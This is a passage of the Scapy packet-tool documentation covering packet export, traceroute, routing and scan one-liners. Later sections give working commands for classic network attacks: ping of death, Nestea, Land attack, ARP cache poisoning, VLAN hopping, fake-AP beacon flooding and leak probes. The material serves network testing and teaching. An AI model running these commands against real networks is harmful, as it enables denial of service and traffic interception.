692 693Send and receive in a loop 694-------------------------- 695 696.. index:: 697 single: srloop() 698 699Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change:: 700 701 >>> srloop(IP(dst="www.target.com/30")/TCP()) 702 RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 703 fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 704 IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 705 IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 706 RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 707 fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 708 IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 709 IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 710 RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 711 fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 712 IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 713 IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 714 RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding 715 fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S 716 IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S 717 IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S 718 719 720Importing and Exporting Data 721---------------------------- 722PCAP 723^^^^ 724 725It is often useful to save capture packets to pcap file for use at later time or with different applications:: 726 727 >>> wrpcap("temp.cap",pkts) 728 729To restore previously saved pcap file: 730 731 >>> pkts = rdpcap("temp.cap") 732 733or 734 735 >>> pkts = sniff(offline="temp.cap") 736 737Hexdump 738^^^^^^^ 739 740Scapy allows you to export recorded packets in various hex formats. 741 742Use ``hexdump()`` to display one or more packets using classic hexdump format:: 743 744 >>> hexdump(pkt) 745 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 746 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 747 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 748 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 749 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 750 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 751 0060 36 37 67 752 753Hexdump above can be reimported back into Scapy using ``import_hexcap()``:: 754 755 >>> pkt_hex = Ether(import_hexcap()) 756 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 757 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 758 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 759 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 760 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 761 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 762 0060 36 37 67 763 >>> pkt_hex 764 <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L 765 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 766 src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 767 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n 768 \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e 769 \x1f !"#$%&\'()*+,-./01234567' |>>>> 770 771Binary string 772^^^^^^^^^^^^^ 773 774You can also convert entire packet into a binary string using the ``raw()`` function:: 775 776 >>> pkts = sniff(count = 1) 777 >>> pkt = pkts[0] 778 >>> pkt 779 <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L 780 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 781 src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 782 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n 783 \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e 784 \x1f !"#$%&\'()*+,-./01234567' |>>>> 785 >>> pkt_raw = raw(pkt) 786 >>> pkt_raw 787 '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 788 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 789 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b 790 \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' 791 792We can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``). 793 794 >>> new_pkt = Ether(pkt_raw) 795 >>> new_pkt 796 <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L 797 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 798 src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 799 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n 800 \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e 801 \x1f !"#$%&\'()*+,-./01234567' |>>>> 802 803Base64 804^^^^^^ 805 806Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet:: 807 808 >>> pkt 809 <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L 810 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 811 src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 812 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n 813 \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 814 !"#$%&\'()*+,-./01234567' |>>>> 815 >>> export_object(pkt) 816 eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST 817 OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao 818 bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT 819 WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 820 ... 821 822The output above can be reimported back into Scapy using ``import_object()``:: 823 824 >>> new_pkt = import_object() 825 eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST 826 OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao 827 bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT 828 WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 829 ... 830 >>> new_pkt 831 <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L 832 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c 833 src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0 834 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n 835 \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 836 !"#$%&\'()*+,-./01234567' |>>>> 837 838Sessions 839^^^^^^^^ 840 841At last Scapy is capable of saving all session variables using the ``save_session()`` function: 842 843>>> dir() 844['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts'] 845>>> save_session("session.scapy") 846 847Next time you start Scapy you can load the previous saved session using the ``load_session()`` command:: 848 849 >>> dir() 850 ['__builtins__', 'conf'] 851 >>> load_session("session.scapy") 852 >>> dir() 853 ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts'] 854 855 856Making tables 857------------- 858 859.. index:: 860 single: tables, make_table() 861 862Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : 863 864Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):: 865 866 >>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) 867 Received 49 packets, got 24 answers, remaining 0 packets 868 >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) 869 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 870 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 871 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 872 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 873 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 874 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 875 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 876 877Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP. 878 879:: 880 881 >>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) 882 Received 142 packets, got 25 answers, remaining 71 packets 883 >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%"))) 884 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 885 20 0 4203 7021 - 11562 886 21 0 4204 7022 - 11563 887 22 0 4205 7023 11561 11564 888 25 0 0 7024 - 11565 889 53 0 4207 7025 - 11566 890 80 0 4028 7026 - 11567 891 892It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. 893 894Routing 895------- 896 897.. index:: 898 single: Routing, conf.route 899 900Now scapy has its own routing table, so that you can have your packets routed differently than the system:: 901 902 >>> conf.route 903 Network Netmask Gateway Iface 904 127.0.0.0 255.0.0.0 0.0.0.0 lo 905 192.168.8.0 255.255.255.0 0.0.0.0 eth0 906 0.0.0.0 0.0.0.0 192.168.8.1 eth0 907 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") 908 >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") 909 >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") 910 >>> conf.route 911 Network Netmask Gateway Iface 912 127.0.0.0 255.0.0.0 0.0.0.0 lo 913 192.168.8.0 255.255.255.0 0.0.0.0 eth0 914 0.0.0.0 0.0.0.0 192.168.8.254 eth0 915 192.168.1.1 255.255.255.255 192.168.8.1 eth0 916 >>> conf.route.resync() 917 >>> conf.route 918 Network Netmask Gateway Iface 919 127.0.0.0 255.0.0.0 0.0.0.0 lo 920 192.168.8.0 255.255.255.0 0.0.0.0 eth0 921 0.0.0.0 0.0.0.0 192.168.8.1 eth0 922 923Gnuplot 924------- 925 926.. index:: 927 single: Gnuplot, plot() 928 929We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) 930For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:: 931 932 >>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) 933 >>> a.plot(lambda x:x[1].id) 934 <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c> 935 936.. image:: graphics/ipid.png 937 938 939TCP traceroute (2) 940------------------ 941 942.. index:: 943 single: traceroute(), Traceroute 944 945Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: 946 947 >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) 948 Received 80 packets, got 80 answers, remaining 0 packets 949 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 950 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 951 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 952 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 953 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 954 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 955 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 956 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 957 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 958 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 959 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 960 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 961 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 962 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 963 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 964 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 965 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 966 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 967 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 968 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 969 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 970 (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) 971 972The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. 973 974 >>> result, unans = _ 975 >>> result.show() 976 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 977 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 978 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 979 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 980 [...] 981 >>> result.filter(lambda x: Padding in x[1]) 982 983Like any result object, traceroute objects can be added : 984 985 >>> r2, unans = traceroute(["www.voila.com"],maxttl=20) 986 Received 19 packets, got 19 answers, remaining 1 packets 987 195.101.94.25:80 988 1 192.168.8.1 989 2 82.251.4.254 990 3 213.228.4.254 991 4 212.27.50.169 992 5 212.27.50.162 993 6 193.252.161.97 994 7 193.252.103.86 995 8 193.252.103.77 996 9 193.252.101.1 997 10 193.252.227.245 998 12 195.101.94.25 SA 999 13 195.101.94.25 SA 1000 14 195.101.94.25 SA 1001 15 195.101.94.25 SA 1002 16 195.101.94.25 SA 1003 17 195.101.94.25 SA 1004 18 195.101.94.25 SA 1005 19 195.101.94.25 SA 1006 20 195.101.94.25 SA 1007 >>> 1008 >>> r3=result+r2 1009 >>> r3.show() 1010 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1011 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 1012 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 1013 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 1014 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 1015 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 1016 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 1017 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 1018 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 1019 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 1020 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 1021 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 1022 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 1023 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 1024 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 1025 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 1026 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 1027 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 1028 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 1029 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 1030 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 1031 1032Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph. 1033 1034 >>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) 1035 Received 190 packets, got 190 answers, remaining 10 packets 1036 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1037 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 1038 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 1039 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... 1040 [...] 1041 >>> res.graph() # piped to ImageMagick's display program. Image below. 1042 >>> res.graph(type="ps",target="| lp") # piped to postscript printer 1043 >>> res.graph(target="> /tmp/graph.svg") # saved to file 1044 1045.. image:: graphics/graph_traceroute.png 1046 1047If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: 1048 1049 >>> res.trace3D() 1050 1051.. image:: graphics/trace3d_1.png 1052 1053.. image:: graphics/trace3d_2.png 1054 1055Wireless frame injection 1056------------------------ 1057 1058.. index:: 1059 single: FakeAP, Dot11, wireless, WLAN 1060 1061Provided that your wireless card and driver are correctly configured for frame injection 1062 1063:: 1064 1065 $ iw dev wlan0 interface add mon0 type monitor 1066 $ ifconfig mon0 up 1067 1068On Windows, if using Npcap, the equivalent would be to call 1069 1070 # Of course, conf.iface can be replaced by any interfaces accessed through IFACES 1071 >>> conf.iface.setmode(1) 1072 1073you can have a kind of FakeAP:: 1074 1075 >>> sendp(RadioTap()/ 1076 Dot11(addr1="ff:ff:ff:ff:ff:ff", 1077 addr2="00:01:02:03:04:05", 1078 addr3="00:01:02:03:04:05")/ 1079 Dot11Beacon(cap="ESS", timestamp=1)/ 1080 Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/ 1081 Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/ 1082 Dot11Elt(ID="DSset", info="\x03")/ 1083 Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"), 1084 iface="mon0", loop=1) 1085 1086Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it. 1087 1088 1089Simple one-liners 1090================= 1091 1092 1093ACK Scan 1094-------- 1095 1096Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. 1097For example, the following string will be sent to simulate an ACK Scan:: 1098 1099 >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) 1100 1101We can find unfiltered ports in answered packets:: 1102 1103 >>> for s,r in ans: 1104 ... if s[TCP].dport == r[TCP].sport: 1105 ... print("%d is unfiltered" % s[TCP].dport) 1106 1107Similarly, filtered ports can be found with unanswered packets:: 1108 1109 >>> for s in unans: 1110 ... print("%d is filtered" % s[TCP].dport) 1111 1112 1113Xmas Scan 1114--------- 1115 1116Xmas Scan can be launched using the following command:: 1117 1118 >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) 1119 1120Checking RST responses will reveal closed ports on the target. 1121 1122IP Scan 1123------- 1124 1125A lower level IP Scan can be used to enumerate supported protocols:: 1126 1127 >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) 1128 1129 1130ARP Ping 1131-------- 1132 1133The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:: 1134 1135 >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) 1136 1137Answers can be reviewed with the following command:: 1138 1139 >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) 1140 1141Scapy also includes a built-in arping() function which performs similar to the above two commands: 1142 1143 >>> arping("192.168.1.*") 1144 1145 1146ICMP Ping 1147--------- 1148 1149Classical ICMP Ping can be emulated using the following command:: 1150 1151 >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP()) 1152 1153Information on live hosts can be collected with the following request:: 1154 1155 >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") ) 1156 1157 1158TCP Ping 1159-------- 1160 1161In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:: 1162 1163 >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) 1164 1165Any response to our probes will indicate a live host. We can collect results with the following command:: 1166 1167 >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 1168 1169 1170UDP Ping 1171-------- 1172 1173If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:: 1174 1175 >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) 1176 1177Once again, results can be collected with this command: 1178 1179 >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 1180 1181 1182 1183Classical attacks 1184----------------- 1185 1186Malformed packets:: 1187 1188 >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) 1189 1190Ping of death (Muuahahah):: 1191 1192 >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) 1193 1194Nestea attack:: 1195 1196 >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) 1197 >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) 1198 >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) 1199 1200Land attack (designed for Microsoft Windows):: 1201 1202 >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) 1203 1204ARP cache poisoning 1205------------------- 1206This attack prevents a client from joining the gateway by poisoning 1207its ARP cache through a VLAN hopping attack. 1208 1209Classic ARP cache poisoning:: 1210 1211 >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), 1212 inter=RandNum(10,40), loop=1 ) 1213 1214ARP cache poisoning with double 802.1q encapsulation:: 1215 1216 >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) 1217 /ARP(op="who-has", psrc=gateway, pdst=client), 1218 inter=RandNum(10,40), loop=1 ) 1219 1220TCP Port Scanning 1221----------------- 1222 1223Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: 1224 1225 >>> res, unans = sr( IP(dst="target") 1226 /TCP(flags="S", dport=(1,1024)) ) 1227 1228Possible result visualization: open ports 1229 1230:: 1231 1232 >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) 1233 1234 1235IKE Scanning 1236------------ 1237 1238We try to identify VPN concentrators by sending ISAKMP Security Association proposals 1239and receiving the answers:: 1240 1241 >>> res, unans = sr( IP(dst="192.168.1.*")/UDP() 1242 /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") 1243 /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) 1244 ) 1245 1246Visualizing the results in a list:: 1247 1248 >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) ) 1249 1250 1251 1252Advanced traceroute 1253------------------- 1254 1255TCP SYN traceroute 1256^^^^^^^^^^^^^^^^^^ 1257 1258:: 1259 1260 >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) 1261 1262Results would be:: 1263 1264 >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 1265 192.168.1.1 time-exceeded 1266 68.86.90.162 time-exceeded 1267 4.79.43.134 time-exceeded 1268 4.79.43.133 time-exceeded 1269 4.68.18.126 time-exceeded 1270 4.68.123.38 time-exceeded 1271 4.2.2.1 SA 1272 1273 1274UDP traceroute 1275^^^^^^^^^^^^^^ 1276 1277Tracerouting an UDP application like we do with TCP is not 1278reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, 1279NTP, etc.) to deserve an answer:: 1280 1281 >>> res, unans = sr(IP(dst="target", ttl=(1,20)) 1282 /UDP()/DNS(qd=DNSQR(qname="test.com")) 1283 1284We can visualize the results as a list of routers:: 1285 1286 >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src)) 1287 1288 1289DNS traceroute 1290^^^^^^^^^^^^^^ 1291 1292We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function:: 1293 1294 >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) 1295 Begin emission: 1296 ..*....******...******.***...****Finished to send 30 packets. 1297 *****...***............................... 1298 Received 75 packets, got 28 answers, remaining 2 packets 1299 4.2.2.1:udp53 1300 1 192.168.1.1 11 1301 4 68.86.90.162 11 1302 5 4.79.43.134 11 1303 6 4.79.43.133 11 1304 7 4.68.18.62 11 1305 8 4.68.123.6 11 1306 9 4.2.2.1 1307 ... 1308 1309 1310Etherleaking 1311------------ 1312 1313:: 1314 1315 >>> sr1(IP(dst="172.16.1.232")/ICMP()) 1316 <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]| 1317 <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>> 1318 1319ICMP leaking 1320------------ 1321 1322This was a Linux 2.0 bug:: 1323 1324 >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) 1325 <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] | 1326 <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] | 1327 <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff | 1328 <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>> 1329 1330 1331VLAN hopping 1332------------ 1333 1334In very specific conditions, a double 802.1q encapsulation will 1335make a packet jump to another VLAN:: 1336 1337 >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) 1338 1339 1340Wireless sniffing 1341----------------- 1342 1343The following command will display information similar to most wireless sniffers:: 1344 1345>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}")) 1346 1347The above command will produce output similar to the one below:: 1348 1349 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 1350 11:22:33:44:55:66 wireless_100 6L 